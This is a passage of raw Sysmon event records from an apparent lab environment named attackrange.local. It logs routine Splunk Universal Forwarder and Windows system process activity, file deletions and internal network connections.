Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000016040Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:33.977{625C326B-7221-613B-EC04-00000000F101}2580C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000016039Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:33.680{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=70862720A893017910CDABAC9860890F,SHA256=3FC76B8F52688A615281139E4581ADA2661E6AA625D538E4E206305FCE4BB2FE,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048362Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:31.313{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59466-false10.0.1.12-8000- 10341000x800000000000000016038Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:33.055{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7221-613B-EB04-00000000F101}2016C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016037Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:33.055{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016036Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:33.055{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016035Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:33.055{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016034Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:33.055{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016033Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:33.055{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016032Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:33.055{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016031Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:33.055{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016030Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:33.055{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016029Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:33.055{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-7221-613B-EB04-00000000F101}2016C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000016028Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:33.055{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016027Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:33.055{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7221-613B-EB04-00000000F101}2016C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000016026Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:33.058{625C326B-7221-613B-EB04-00000000F101}2016C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000016025Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:33.055{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=AC1B235522E824A0593F3F00B266232E,SHA256=3D1721307F8247E6304B979F0D194E654E27A088CAB23AA2AC92394CA2BAF098,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016024Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:33.055{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C45F712E808CB2F2039DC2C6E2CB4D58,SHA256=FFAD6D96BDFA9CA784304A27C3D0FBC7E25E3C81B367C80A3BF33987A8E19959,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016023Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:33.055{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=BB0F4509188D8B74E5D5AF85BA542BDC,SHA256=37BB50C33E3D3670A2ABDEC450A047B856ACA84585EE91791275A9C978731F21,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016056Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:34.695{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C4E338E7E068F6B7949A401C4D3E19FA,SHA256=E334A800CA5ABAE36A61089C9D953D7CCA10FB84B1C8EFE68E94E01FC368280A,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000016055Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:32.362{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50264-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000048364Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:34.991{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B26C12D124DCC1E65E0C0EF96FD33175,SHA256=B7C8950BA69E657D28B10267BA7F1B9E81FF0528A75AC66604CCC0378E0DACB2,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000016054Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:34.180{625C326B-7221-613B-EC04-00000000F101}2580100C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000016053Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:34.102{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=AC1B235522E824A0593F3F00B266232E,SHA256=3D1721307F8247E6304B979F0D194E654E27A088CAB23AA2AC92394CA2BAF098,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000016085Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:35.946{625C326B-7223-613B-EE04-00000000F101}16842856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016084Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:35.773{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7223-613B-EE04-00000000F101}1684C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016083Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:35.773{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016082Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:35.773{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016081Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:35.773{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016080Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:35.773{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016079Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:35.773{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 